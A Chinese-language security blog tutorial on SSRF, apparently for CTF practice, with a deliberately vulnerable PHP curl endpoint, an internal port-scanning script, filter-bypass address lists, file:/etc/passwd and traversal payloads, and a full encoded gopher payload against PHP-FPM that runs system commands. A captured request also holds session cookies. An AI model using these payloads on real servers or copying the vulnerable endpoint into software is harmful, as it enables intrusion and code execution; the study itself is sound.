HacKerQWQ的博客空间

浅析SSRF漏洞

Word count: 2.9kReading time: 12 min
2020/11/16 Share

0x01 SSRF漏洞介绍

SSRF(Server Side Request Forgery,服务端请求伪造),是攻击者通过构造数据进而伪造服务器端发请求的漏洞。
形成的原因多是服务器端提供了从外部服务可以获取数据的功能,但是对发起请求的来源进行验证过滤,导致攻击者可以自由构造参数,获取预期外的请求。

SSRF原理解析

URL结构如下

1
URI = schema:[//authority]path[?query][#fragment]

  • userinfo 通常用于身份验证,root:passwd,以@结尾
  • host就是经常说的主机名,如baidu.com
  • port为服务器端口
  • path是资源路径
  • query是请求参数,?id=1&username=root
  • fragment是片段ID,位于#后面,不会被传递到服务器端,用于页面定位

本地搭建SSRF简单测试环境

1
2
3
4
5
6
7
8
9
10
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$res = curl_exec($ch);
header("content-type: image/png");
curl_close($ch);
echo $res;

SSRF漏洞存在的位置

SSRF一般出现在有调用外部资源的场景中,比如社交服务分享功能、图片识别服务等等
常用协议:

  1. file:// 从文件系统中读取文件内容,例如file://etc/passwd
  2. dict:// 字典服务器协议,让客户端能访问更多字典源。在SSRF中可以获得目标服务器上的服务版本等信息
  3. gopher://分布式的文档传递服务,在SSRF发挥作用很大,攻击面很广!

0x02 SSRF漏洞利用方式

内部服务资产探测

可以写python脚本根据请求之后的返回信息进行判断服务开放情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# encoding = utf-8
import requests as req
import time
ports = ['80','3306','6379','8080','8000']
session = req.Session()
for i in xrange(255):
ip = '192.168.78.{}'.format(i)
for port in ports:
url = "http://example.com/?url=http://{}.{}".format(ip,port)
try:
res = session.get(url,timeout=3)
if len(res.content) > 0:
print(ip,port,'is open')
except:
continue
print("DONE")

SSRF的bypass

在ctf中,有时候会ban一些指定的ip,比如127.0.0.1,有时候是检查一整段127.0.0.1,或者是通过正则去匹配逐个字符,这里介绍一下如何去绕过这些WAF。

  • 302跳转

有一种网站地址是当访问任意子域名时,都会重定向到这个子域名
比如当访问http://127.0.0.1.xip.io/test.php最后会跳转到http://127.0.0.1/test.php


实现跳转
可用网站:

  1. xip.io
  2. nip.io
  3. sslip.io

这种方法适用于后端用parse_url判断host参数是否等于127.0.0.1或者localhost,但是如果检查是否存在关键字127.0.0.1,这种方法就不行,需要使用短地址绕过
可用网站:
4m.cn

  • 进制转换绕过过滤

可以将ip地址转换为不同进制绕过waf,提供一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>

结果:

1
十进制:2130706433八进制:17700000001十六进制:7f000001

实际使用中要在八进制前面加0,十六进制前面加0x

  • 利用DNS解析

可以用自己的域名,可以将域名设置A记录指向127.0.0.1

  • 利用@绕过

请求http://www.baidu.com@127.0.0.1/index.php和请求http://127.0.0.1/index.php效果是一样的

  • 各种指向127.0.0.0的地址
  1. http://localhost/
  2. http://0/
  3. http://[0:0:0:0:0:ffff:127.0.0.1]/
  4. http://[::]:80/
  5. http://127。0。0。1/
  6. http://①②⑦.⓪.⓪.①
  7. http://127.1/
  8. http://127.00000.00000.001/
  9. file:/etc/passwd
  10. file:(空格)//

第1行localhost就是代指127.0.0.1

第2行中0在window下代表0.0.0.0,而在liunx下代表127.0.0.1

第3行指向127.0.0.1,在liunx下可用,window测试了下不行

第4行指向127.0.0.1,在liunx下可用,window测试了下不行

第5行用中文句号绕过

第6行用的是Enclosed alphanumerics方法绕过,英文字母以及其他一些可以网上找找

第7.8行中0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

第9.10行可以绕过file://协议过滤

  • 不存在协议头的绕过

file_get_contents()函数会将不认识的伪协议头当做文件夹,造成跨目录读取文件的漏洞
php_error.logs内容

构造payload读取php_error.logs

可利用的payload

  1. httpsssss://../../../../../../etc/passwd
  2. httpsssss://abc../../../../../../etc/passwd
  • URL解析问题

parse_url和readfile的区别


curl和parse_url解析的差异

更多参考blackhathttps://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

SSRF进阶用法

对redis和mysql的攻击

使用工具Gopherushttps://github.com/tarunkant/Gopherus

  • 对redis的攻击


Tips:如果是在url中输入payload的话还要讲payload再url编码一次

  • 对Mysql的攻击


题目:ISITDTU 2018 Friss
复现过程:https://xz.aliyun.com/t/2500

使用PHP-FPM攻击

首先,PHP-FPM是实现和管理FastCGI的进程,是一个FastCGI协议解析器,而Fastcgi本质是一个通信协议,类似于HTTP,都是进行数据交换的一个通道,通信过程如下:

TCP模式下在本机监听一个端口(默认为9000),Nginx把客户端数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析。

而PHP-FPM攻击是通过伪造FastCGI协议包实现PHP代码执行,我们可以通过更改配置信息来执行任意代码。php中有两个非常有趣的配置项,分别为auto_prepend_fileauto_append_file,这两个配置项是使得php在执行目标文件之前,先包含配置项中指定的文件,如果我们把auto_prepend_fileauto_append_file的值设定为php://input,就能包含进POST提交的数据。

但是这里有个问题就是php://input需要开启allow_url_include,这里可以利用PHP_ADMIN_VALUE,上一篇说到PHP_ADMIN_VALUE不可以利用在.htaccess,但是FastCGI协议中PHP_ADMIN_VALUE却用来可以修改大部分的配置,我们利用PHP_ADMIN_VALUEallow_url_include修改为True。

利用过程:

  1. 监听本地1234端口(可以任意指定)并写入ssrf.txt
  2. 使用p牛的脚本生成payload
    https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

    这里的php是随便一个php都可以,攻击网站服务的话最好是使用/var/www/html/下的php文件
    可以使用find / -name *.php来找php文件
  3. payload进行url编码
    脚本
    1
    2
    3
    4
    5
    6
    import urllib.parse
    f = open(r'ssrf.txt','rb')
    s = f.read()
    s = urllib.parse.quote(s)
    s = urllib.parse.quote(s)
    print("gopher://127.0.0.1:1234/_"+s)

最终payload:

1
gopher://127.0.0.1:9000/_%2501%2501u%2589%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504u%2589%2501%25DB%2500%2500%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250E%2504REQUEST_METHODPOST%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250B%2517SCRIPT_NAME/var/www/html/index.php%250C%2500QUERY_STRING%250B%2517REQUEST_URI/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250B%2504REMOTE_PORT9985%250B%2509SERVER_ADDR127.0.0.1%250B%2502SERVER_PORT80%250B%2509SERVER_NAMElocalhost%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2510CONTENT_TYPEapplication/text%250E%2502CONTENT_LENGTH21%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%2501%2504u%2589%2500%2500%2500%2500%2501%2505u%2589%2500%2515%2500%2500%253C%253Fphp%2520system%2528%2522ls%2522%2529%253B%253F%253E%2501%2505u%2589%2500%2500%2500%2500

按照需求更改ip地址和端口使用PHP-FPM进行攻击

image-20210901113833100

Gopher发送请求

SSRF漏洞是服务端请求伪造攻击,不论是GET或者是POST方法,都是为了达到一个目的,就是让服务端帮我们来执行请求。

那么在CTF中什么情况需要利用到这种方法呢,比如发现了一个内网的应用有上传的功能,我们需要通过POST提交数据,而且Gopher协议没有被ban,我们就可以考虑构造一个请求去打内网,下面先从本地看看如何构造:

通常,我们可以利用gopher://协议可以用来发送Get和Post请求,需要注意的点是要对发送的请求头中的空格和一些特殊字符进行url编码,如果是在URL中提交payload的时侯要再进行一次url编码,先来看看如何发送简单的请求。

  • POST 请求

首先在Ubuntu(192.168.78.129)中写入1.php

1
2
3
<?php
echo "Hello".$_POST['a'];
?>

然后浏览器请求192.168.78.129/1.php,并且post数据上去,要加上Content-TypeContent-Length

然后用脚本对空格和特殊字符进行url编码,换行的地方换成%0D%0A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import urllib
import requests
test =\
"""POST /1.php HTTP/1.1
Host: 192.168.0.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

a=world
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)

请求体换成自己的,然后在前面加上gopher协议头和IP地址&端口

1
gopher://192.168.78.129:80/_POST%20/1.php%20HTTP/1.1%0D%0AHost%3A%20192.168.78.129%0D%0AContent-Length%3A%208%0D%0ACache-Control%3A%20max-age%3D0%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0AOrigin%3A%20http%3A//192.168.78.129%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/87.0.4280.66%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/apng%2C%2A/%2A%3Bq%3D0.8%2Capplication/signed-exchange%3Bv%3Db3%3Bq%3D0.9%0D%0AReferer%3A%20http%3A//192.168.78.129/1.php%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%0D%0ACookie%3A%20PHPSESSID%3D0mc9vnie822adc7vqclbj8mku3%3B%20zbx_sessionid%3D6a39e22add94af9fbecb3a4ea2572360%3B%20pma_lang%3Dzh_CN%3B%20pma_collation_connection%3Dutf8_unicode_ci%3B%20pma_console_height%3D92%3B%20pma_console_config%3D%257B%2522alwaysExpand%2522%253Afalse%252C%2522startHistory%2522%253Afalse%252C%2522currentQuery%2522%253Atrue%257D%3B%20pma_console_mode%3Dcollapse%3B%20pma_iv-1%3DkbQHRcwPzBE4G5oc3a%252BJKA%253D%253D%3B%20pmaUser-1%3DmNweCSS5IkoOEEEDsjIYqA%253D%253D%3B%20pmaPass-1%3DwItp0q5TNA4L055vSPGmiQ%253D%253D%3B%20phpMyAdmin%3D4ebe720ca411e37ca577dfca29c642ae%0D%0AConnection%3A%20close%0D%0A%0D%0Aa%3D123456%0D%0A

在Linux的Shell下面请求,Windows不成功

这算是我们直接请求1.php,SSRF的情况是我们只能通过一台对目标网站有访问权限的机器对资源进行请求,我们本身没有权限

下面在Ubuntu内写入ssrf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function curl($url){
//创建一个新的curl资源
$ch = curl_init();
//设置URL和相应的选项
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,false);
//抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭curl资源,并且释放系统资源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

需要提前安装好php和php7.0-curl
直接将我们上面的payload通过url传进去是没有回显的,得再次url编码,如果是post的话就不用

发送get请求的方法一样

DNS-rebinding

有时候ssrf的过滤中会出现这种情况,通过对传入的url提取出host地址,然后进行dns解析,获取ip地址,然后对ip地址进行检验,如果合法再利用curl请求的时候会发起第二次请求。

DNS-rebinding就是利用第一次请求的时候解析的是合法的地址,而第二次解析的时候是恶意的地址,这个技术已经被广泛用于bypass同源策略,绕过ssrf的过滤等等。

利用过程:

首先需要拥有一个域名,然后添加两条记录类型为A的域名解析,一条的记录值为127.0.0.

在自己的域名下面添加一条指向127.0.0.1的A记录,这样会随机返回解析出来的ip地址

没有域名就去http://ceye.io/

CATALOG
  1. 1. 0x01 SSRF漏洞介绍
    1. 1.1. SSRF原理解析
    2. 1.2. SSRF漏洞存在的位置
  2. 2. 0x02 SSRF漏洞利用方式
    1. 2.1. 内部服务资产探测
    2. 2.2. SSRF的bypass
  3. 3. SSRF进阶用法
    1. 3.1. 对redis和mysql的攻击
    2. 3.2. 使用PHP-FPM攻击
    3. 3.3. Gopher发送请求
    4. 3.4. DNS-rebinding